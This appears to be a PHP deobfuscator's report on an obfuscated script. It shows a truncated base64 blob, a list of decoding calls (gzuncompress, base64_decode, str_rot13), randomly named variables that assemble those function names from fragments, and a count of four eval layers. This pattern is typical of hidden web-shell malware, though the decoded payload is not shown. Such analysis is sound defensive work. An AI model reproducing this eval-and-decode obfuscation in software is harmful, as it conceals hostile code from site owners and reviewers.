jjTL7ZD9s7ppF3vACdinVYu/KzOWxtGiP789pfpdOuBzRD87PZK3zGzm9WaQs4k/p95dFYtCJit7BSp2icUHlByG7R5f+udT1G9PHBJSnEL5oBK0FG3gRL4FozN6wOrX9eukg9qZyIRsfF2MMVT1EDtPoS9QwXk0+aSjzllPoIS5nGzVx3/0I62Wsku0wG9qjF0vkU326ynMCxwHjmuuoAHMs/R0TNtV2FZWAl/md+7I0w5gxvvAHgPr1m8myD6VoqofCgz9rvCIS6WHX0tnb/V1hfeaqYmLKE2bqzExikdfntrQfJEsujXfTbCMNLAO3UkXA+YjXJlEZIDKg3gjym3SBMOXl0pmaLCdNLkGrJRpAY+lV/NE1ty0cAJGXZQUNKoAowGMv8qEdLC+bUmIwrq/1oOCMLKwaf0f3sS4EbxVGjoT+68sxkLd9taiyGLikVGuZIDYH4bv/GtEwHbr97ETsMR91w1lyVmriysntnlRbNfku64ThaMshlh3LLF8C77aGJ06PkKVKTE6RPrJay6fqqciYQ9sz1Oahd07cN1YT8wIFoWyQ4FJNlwR7FnmcF4fupRK0GUzG69GpUcl/jg9SF3W2bngn11zYi0UDeqmZ1dKbUwole9D0FerfEpfsLF8etLR06cFOy+M8PSpHdRSKpbhqrXpv8r5xy1CLtYsUQDNmuAm+QW4rNi/t1IXXUysz6i0tK3bLF9oHkC8IVsincN5LsL1ehbUYV9JYCUfV2YnRsLtGbfk+nfNaYhBxTna+H+8xw48q145md9VUPXrimyGwd4RteKrNoK/gF0zyjNSOrpKt0f/3908lTYs2D0JIqDsRKl7/GfOBddaVXU3kLZZLWfLryWs/XVjgGSoV2bCfkkD0p2Ma73psWKY2p/liFpHmG6U3l7knbT28soaZZnlOpzVn5ntrpsPKUrsXDPpQiczTr+svFoT6f1DpAU8pMB9XXGaV73eb5exZ96s+U+sRgjjf+rrwZW08PkJZg437qVEqMYZkl37TUZuSjlvV20eT9VLJcprZtGIoELSaWeJI7aOZztIY5CelbKPr2Gol84MxUcYSlmpxJmaaS4upV93DTBSx1eLWDyTHMFsv1VIT5NmxnJLfzKntZ0P3+7+yPWr/WNb5v+aH/uA/invrk6Eb52xZ/oijJUM+/5VmyZBmf/yeqaN7Ny/duIng0Pm73QtNWD64/LSG3Ik1ya9kKmYt7ziDV8eivsMRhcf1DD9qEdEHutbmIZyGMFp411zHyWyRVxzun9La8rN7VLhdo6/1E9mJWpe4J9t8X3I1l1ZaPjxOv58I2GGrtgDLNEzYnP6J7LTDXRmnA1Hr91ycsJyxVef3UyS4JtPMMfr9KhDpsS9dVOWhh4nt+y4mYVk43FI0XTaST/+Te2QIcg0bUZeeqeZwD8bC5g8RF7INJv/5+z+fz7/+/rf8aZq1Gvrflinl1j/+Iay8aPureefqf/z2j3ls5foxKdE//8dv8zMs52e7n2bNxjZKsj/+z/r/+O33//z92eFPu//zX7/9z7//7e9/+/Uw/kFkfC37+S3vUv7HP5yKkNLek/3e/eO/T/z/75PP8f978Py67v8F2KqIMA==')));

Function Calls

sqdGt 1
gzuncompress 4
base64_decode 4
str_rot13 2
str_replace 1

Variables

$ENglQsOSiDPZmjoNh lKaZGbFMQNWRjmmKyMEmJBLHfXJBvvxxFHxopNLnxqvJtUGDFIYVzqxNWkHH..
$gWCsGqlNeBAR fDXjXuxVdGLdlLiUsgAOawtmPQntkfUJYmCLRjYqCUiotUXlMzwPpQyldGge..
$gdfWHZEaip ec
$ChKfNqCfDokg 5Popdcu9iTaLzOqljX7Rh6/wPDkOtlLX31LRH/b3dx+v7cOgbh3u7wOP3Aqr..
$SiLjsInyp NknGPgaPZYxhuqaDXcEfrKhriiXcnvncpMmdGSgBcMfUWpQXUTsgfJWwofWO..
$MgbWcZgvwYDggKSR FhvpCXBIRCAQMUqvvBHkHiXxnbEPHlEejYsdpIYUCHKfmoDHcUlXoiRfCqvL..
$pvJzsxVUBLaQOsLSZ BFeUBcTfcKKajYEeMzmDKwFSQWdPekhezwOSsEbRtTEdJevgMLHTnunLRyWK..
$icqkaYREKdFmuyHaAH YxvhHwPxLtRRzeMmTRrkaHchENxSdaEZFiEzHdAXAJguiixUCfBLOANoCoTw..
$DOQVMekG hsUflSJCLeuMCfzGBXSQjNxaCNXOtEdjWeNVknrzBUtaANEBnGmWvkoDYqiM..
$EyyNwzXPI nbs8SsCJnCR8/aRqbfBA0i1N319M0BW/gAmskkkUBaeQYVXFYI/Y559aMLqN..
$EONSOeLkStGFHJLjnVkt dXZmsobmJBQETcgOxMuDXYzLjiyHgIWApchWGRFQqXdRmJTylGNsikiVtngB..
$wSCECiYcvtu FNdMysOPWNNaAxZEYshWIKqNNxogijgHIpSGQmwBgWJDMGtzOtogLkOauUvP..
$bLURdPVQ QkCIAjhmNZFqkcMIvwgjhKeNdiomoctPLnrjbxMWfNQiPNoBdiXshNsrTaKm..
$xNhpKWbsNH blmJSMBlcMzDluOoNtVysXaBzFJNVExHoYVkXjPYaogqSscZhEIDnREvYIUM..
$necRUBmWfmvS STrAuWZbCziCZRYWvrTMmfBgDTyXWuDUINuxIIIRhPGPRZaVyEFTQSwCdiDj..
$RxNHAGOrdvVmKiKNv WwnitCHxqZMKrDfOaWmjuNUArNozBbKOxTVyyuMHQTHGEejckirttkAGOBae..
$tdOIImIdyyqUtOFYWrE qWSpGVVmQXGGlMvLgQcCFyhWSwykXfTqYJrbgimdrVgJaDvclPmsWkJLqGJT..
$OSDRwAIcCzcIiHP YSxjiTiqBzJhshhHtxHOykfqIHECdJFZnqcYJXqwqpzjpkFEjRqryEsJDHkM..
$mtDxNvoPr pGbsqfKedCDHlwzzCxUykxUERSNROTsRXIWAXOhepztBLxGOytckFTIYMVXZ..
$AzwNkyZj aAeWJlFWktGzTSChQxJFKP4qOvuGP1XUwWUcNY3wj0pSEcR2GvWw5zjScGob..
$zdhRwbmIF iJSNYXsslLVREUzCuGZsgOXaPnPgOgaGlvNciblSanspDkNdJWVDPFuwkBuH..
$wganOQATl qxYQphKNmgPRRhlkMxbtIiwtlUzbHQgUZZSdusdJqFvnXtHIbktmmbvUMcvl..
$yhvPKWyoMC iyhjQzd1+7NMgaOY3Llp3P3AxCSvE7gdjABXtqQTvLSo7u85taPDUVIPwWid..
$FFXUCKgEAydryRkRCyaLuVbvIIqeTi eNrtvet22ziyKPx/1pp3YNSeptSWZUm+dGJZThxfEufmtC+5OltNUZTEmBLV..
$MLbxDmlchmcmqGXL TLifmSUheytYyQtuZrETXnsbvTnZiUfaeCzlDErbepwMezBPIoOSrCbFWeDZ..
$fjBXuLqCj bpDeUTIHoYnhFzVSKgdgJqStLrURmcgrHXeWdLUvRtNezOVZZMgRXaPlgAII..
$UiAKdnWLXnV base64_decode
$mekqRcHbdTlRbK J4qxpr8SmVQOpmSObS91xWkTRzrp+Ofb9gODa6rSVyQ7yw/UDbpWTxrnfNkh..
$ahQPxOsAlHlGJO ZePBL6vBqlbtFLTlWP9hoUCL2bD9CLnBGroQRAuGHMjuqLm1pY3vgOpWi2BT..
$hMGOiStCZy wFupgBfLafKoVhmY4xC8hsaHMFSaDQLuH0Z8X28Ua5RHUzg9tHQRb7BTl8VJ..
$czrxXqxNwY JKoIsVcVlERQbPoRKMXQveFeWIBvXhoHUBYZYHUzPbRmPlpEjVMRskfDJxQG..
$VDxfOxkezaMfhctTlFcT aozLbYNTlFFUzziNMwFCKCEmCrWXMVugobkDNQWeYDArSkvlPRsofHCwYItv..
$zwZAxFyyWfs ncomp
$xONYXLjnyElIVUPgLRS zqOGCBlzUzLIrpJFdQEVExDXDUZpopgxIbXSOrboHOfzUeFlqyvaRNIFBgPf..
$UsrchbxZxLsQz 90MemW6ilJQce6zRdB5VRS/6guMUZ3HpuYSOgvhDOdb8E0z8Hqe6ytRLFMI9..
$ryqzIdGRbcW base
$shJqOvLymGtpVRtfOd eojDltfZKDqocLrUjEQogoVJgOzcXUVdSIPeftfbzHhUlWHCHafubAfMPqxi..
$LFCbRzxFPZeFAFVTE buksoZEAfwEgZjyqLPOHNKszkxRRCEDjjWydrlqacnCiEeaTRhLWGRoLZemN..
$aLkWuMaXx bwgZJrCFiLaALOBUuuQqlUmXVkWGlmwxeyRgwXELJENioVaRoxrBwRHehfOJ..
$CnacPQUbWCo gzu
$PSbtKiYwWuuRVAl rsAziruzxuSxONJMnpcqvmlsfcmVaIfOIClFUHoikyHNshJdZDcROSglHesm..
$iugoATBFmKUpFOGOxX oRGOwUYBczXkDEsrkktAwubpFTbFOswWTvLIkEOwhuKpsWkiXkTsawOHHGeo..
$WjVXpCbkVUAV ode
$epxscYRFVFXWltJbxYC hJyCwAeXAGDvxVNtTNudOCKZkBbYpSALbnBwhOshQblfNwXxqogrkvFMsBKs..
$fmKObiureerL EiAVLBIqkfiwbYImlNVCEddIuyLQKFfjyjKkyrxCyvkcLVknRwyUhgAwlnRI..
$CNyXnToRHeeBFDm HtskkrfdybNUaichtNDOsbAoPRlaAZougnjoMuLXKVqrVXAUjIBhsCtYEHiD..
$HJaCpKGkmDJgfn ngkyUFAe2T8R1GUZmUBFKEhcFtczHF1BYDU/5Csm1laO4WSGpM4zGKWWJUa7..
$OMoNNcFAXqqYhdD yPj3FJ+mAwn6veW56g/XAdDd6z85E2718oPgeEp3w++2OrWu3kfmsov44zxc..
$kOShgmGcPELLppbztDxD gKMzHkxXKNaBMkWTzobaIkkhGpEVovHoOPOlRBsBrYiIDxArAPTnWamZjWUE..
$tGSOpkKULt JlhROLucHrfnDazYPbVeErGYscxfPhpiAOdXrgOZykNOpHNSIyqfVhYMHMSJ..
$LDTxGOxIPBzwUUNV WzMOEBowDJudKvLunQaDRbPvVirUESTrhfTLNntjjeiVDdTapMuNRCvLiPVN..
$wbVtsJyKBsqjbX z5YLcTUkEYa2dAS6hRhc0IKJMEqKroxRFrNLDxFvomrOapRQ9YS2JONDaMPY..
$DnBLQZOe ec
$hIKLTIobwmN vchsblVetwHEUjgEhTcCwCGkrDlgQbjGloyrXOVWEQbOWbCleRJKdbDtAGvZ..
$KYRSbqheiXXmuSUvemn lWAIJrzPtsHhjQspoMtYuGQlBkKEQKThXkmCuMdpuinTwkenKhFGORklJZIA..
$RiVGjHDlvSszHKv OzYwKTZzcSUOGIPUPSgTcewtErWOhPpefnzsFXRbliApFzuhzvedMawrwEml..
$uemSDbRFe ress
$BhyKHvyQIptjv xvLNFZsstOHAknqrozhnFXZTMimfPCOtUlilJmuUtWauwhhiPIuNUliSqKEc..
$vWyjtdPbWVxF EgemavqarhvQhUbyBTNjNOdnYqISwEIiWnTYZleBUmJWHwTphnFKXMsMADde..
$rOYmdABz base
$uTyyoHMQx ress
$mnasXpLV WNwsPi0lc1lep3UkOmiSrzUKDE12MTwjJFaBxb5dAoGi/7BeJJKT0YwsiN3R..
$UdOvfvjzQT gzu
$ItHJTXtRzfN eNrtvet22ziyKPx/1pp3YNSeptSWZUm+dGJZThxfEufmtC+5OltNUZTEmBLV..
$qOfXPAxrtSuDZL 90Ih9oTlhqXfaX/jbKsW3rQiSSSBOqahvAVgNgdK5+HEZaK0HTN0mOdmoFii..
$yTRCUMvcHsaYVVD +kRQg/NnMH6wmB6fvNk7enZiX9qvdz7sntTXDg8+p76/fgNzevB5dfRL/cHh..
$jZxpXHMMmhNeTS eNrtvet22ziyKPx/1pp3YNSeptSWZUm+dGJZThxfEufmtC+5OltNUZTEmBLV..
$aDMPBrlAciacnKz CmJ3EmxVvsVKXN5nxIBAVIDxWV5ijkR0sW4lGVAijNJAM6cGkgjgkKxBvnxq..
$lBzFdCYMLEyIJGnnT lEHrgTLftxftzcyIIDHQBzQWYWJybepUUcOihlrXePZMYkoHCfFQzkGnpeTA..
$QccelrZTxT svUxMTVSkofgRerSdXlqhRSNEJuGhHYDpdrfomIUlWvIQmDmuwTTxftBhnlJ..
$NDYbXzBGJGZkjwoC gUcUfupiupgBlijMNGGnQvtWXTjvuShEEvYAruTEPLizaWufRNntxnnzPqRB..
$lJUyelNphkNQ h/j73gCoAFof5J6jVmjcX8C07++vd9PZX3t35OpkLsrpS14uRT3SWKSJxqPd..
$wzquSylT LHjLtYgrpdeindoMFwhWoHpUfMGlPQHZFhkrqwwvFQfFFTJQtPCMbJenZZZh..
$lmFIQlTHyEdvZ Mc4K5VaOQ7o0GM7y+9caoxQRh9zcvTU066VCvzOShUd7brDyjarvLlsbOnJ0..
$uCluLkbmzFjKb WZlbOBVGShWrMPrHalIMKyPDZHLqwwTPvOTdkPUoblLzmXIzfOVTywrBtpib..
$ViTrDETtCaLuqvf yuSWDSLgxnCo/smx6tKNZ1gpYaqh/+6w53emBbvM/YH3Pq+fB74trhKlnGRQ..
$FxInGqATE ode
$cqibAPqhP QuweS18qU97rmXtXcvXzwNgsmR9dvU8oPkMHjWbzCqY+tSk8uVpe5w4TGCuW..
$MauykbqNKnjRYkzB xaKCSkXQAaXjeEJXUpGXMbkZTWuxLcVxHxRJbGBjXdpMyYvppBLFYLctojSF..
$acUiYQEV 64_d
$BTynlYUJOSdAaPKnp GCZuKMtCRLEiiyiQpMRWYxPhYlrbnRDilTQDgfLsyOrvZCOyCgCazAXrocCV..
$YYliviNTTH aiLujbFWECUjZftFphnVldlIVeKIOsOkOZjxuyTuMKxfkRiXEcVeTtHENUat..
$XvstrRtTTtIRfqd 8LIFtiHyYuL4qPLMbmk+5tqe+nhLsf1s+52WjZPQxQzUVPK59vvvolxdCHVZ..
$QeOdhsmFzfvqcct WwMpGKQlBkejmnODNUoWgwNXVDitcWBKqetNTtQlVJUsinzClJNEDqBJtOMy..
$PSqtvTjhDtDPWbTtGK chZcrTeyOCqfKWfrFTrenZwdGelxqzamtbBWchnKPrbwGVgQsEotvhkeKrpw..
$dxEYBqqJMEMmIkcGl QALIlhZZyYxEaiVqeqUVyLQaNCKNrujSqbeVvtaAkNWuQtCGMrxMJtgNsRxq..
$RxVhLQJfyHaVHho b1B6YhE55oV52Y6ZwgI5leInnIZDc+K4NAarKAziauX8bFxCRaxkp9hnRVk0..
$wSZIUEvMoDQc xCMQYkWQJpJiSWxYsqlnWSbEUIVlByLYThkzjavxkEwoemLACTtbGfAIoUOt..
$taahsUtWZCgo ncomp
$DzxozNak f7C37NxyYcMTGUGK8ycu0xjhcxFEaYXlheMbRFNHU4wiYjc1G8z4OcQ+G5Ib..
$cqlBQdlbphPPWw HSKVVQDwwgYg6lHSe2+Srr9JWs+6CEwraD7LxUY0RflJJHKFeLSLAD/NFOMk..
$DrCyyCleIEJ GDynzJXlmxRdPTYNVCkfypOEHQzFCdRlgXHcnwKsxxMNhszVAdtJzAxLMUow..
$pMdCaZCAD GiRyCvTkEKdpSTRpbnUSzEVdXfjMUGEjCqthOgVLYrpjsxhVtUgXWSjkKFra..
$uGUTZEcpvgGrXqy wmZuDjWlESMiOXigIeeFpASTHxgRTfiqkAtFJBugSXAyMynEYQOHIzrTnsKa..
$hQiWnXwuQiGSnFrQz UjdViSfQHNCjbmwEnwZRiaelYnMqrvWzvYKZIASKaFsolOuHJTVrQHdEYtZP..
$OSbzvonIB 64_d
$BgMwqXhAsqEKXc umM1I7yACtFR0UGq+EtP49rc++W2QQHjts1HDhEuV4Q9hh/U4Bvnu6o8WmeK..
$RGGcrQBfUjR base64_decode
$SRvmuYbZjKueGC DnbsPgByd7bI+dg9+pL78mRb7w9KMi43d/ev3s27gETscIFzcp9efHkpW8IC..
$UOYfYlbMwtqw ufeRxXIhVgQaHyZtNoCGsmiIFdOlDxFBeBtkGEPvUtcRMuMyOEjfircRYYvl..
$FVydJcUwTaia R6JmOa09kkXdlpYRAwhGtw+LUFMFqir3ayFAFsP2XhvxwOL9WnjU4hbvCKwM..
$OodqyAieYoZMAardk jpWOzXoMbswlnsbWjgdqQarrNYRnpgdGnKtEHOjMCnOGSxFBYAbSPWldDXTc..
$MctRJwTzX gzuncompress
$XFGzETqLCbxpn pKizXQYnkjCpLiLxcZbXvTbBQozKKpkVnPYzhLiwxpSIJGaGDfSAuccuSdBI..
$NgbSPkpRNVDUr uAnlkLPswtuGjJkZCNqIlLXHQoELluHDUvCzxmuDbWKBUGqQjidHpkzHbsDc..
$JtCWrEGDIMZ Z+JijGiybctd1nQri+T9bMiMRcIwYiDipOTKazE2nvuVtD6xx4EN7HxN89In..
$mCEapHzqFYyej r3RJyXAtkRSixnE4uI6T+SGhVkTLLQLLViB6rEclVo7mpZB2A0SFgD2HgYQa..
$rplLjMLEa miLSpX
$iXDPncmPSiT KkowFAWeDTrzKIzvPjrHxPxSqMOufOBDlgjEffkeEpDAftSXCPLFUmwDMeTV..
$nWrlSxzirkYI HrhbH0aBCK1CnpZMuKt3C3OBDePQsqugGx1PVsdyT9UpPCq2ioWau0dg5fv2..
$dRoEacSgpBtGaFnwvGNI PxwxbLXACIiSlWDdhHoOcBeFAbHDAIPUPNwCcjitQhFuHJtEagGbeIbIlBkZ..
$kGdhjBtWf flGDMmMTZTZeDQsJqFMhVJYneoKuaKxiSnykIHLpNjdnFKqcUyaFoSGewHPQ..
$bLppreHzv pzcX18vOPJYsgj0G9mrSg53zNPTp+ghCrSoY+CtL0Nj3HMwe4u2Wn+wnmx1y..
$CfetODHXAPS QyydjEIIEeOjwVJSnPyCYtIRNuTjywiGUNaBwabRhvquncqPipgxGDPLOkkL..
$XMlFhGJQJClD /k5TePXssSNc0nUxQ1+TNSyoYOaMTSVZZgyOX+qNHSP8HhnThq+J7Dc+CHzO..
$rxoVFSvCGUnha RkfLAtZWEyaPerunNzOPAPPOgFXiStfTcFTeoiEPuwAnmhcRjdnpISkBArox..
$AeHjLXfzLvKf gzuncompress
$ULHEKljRaVPnjTuS NWYZRZqEuykHkVafQuoIPfHfWIDLlzNwKqVAwtRbhhltuFPNDXKPlERzZWRp..
$tSlXwSwhGQzN SlXKbsnLssLdYPOrYwvClTjMcHZEWCrKZXASIAQjrOunZnguDVKDmDZyppqf..
$TRhdnfnFybw EHeN4emCtH1723r+oHT6n94YcnR9fvoG14nnQ/R/XO3799E3Sbq+7L48vL5y..

Stats

MD5 fbf3e68f8e58ee92c5948f62e9c571ed
Eval Count 4
Decode Time 754 ms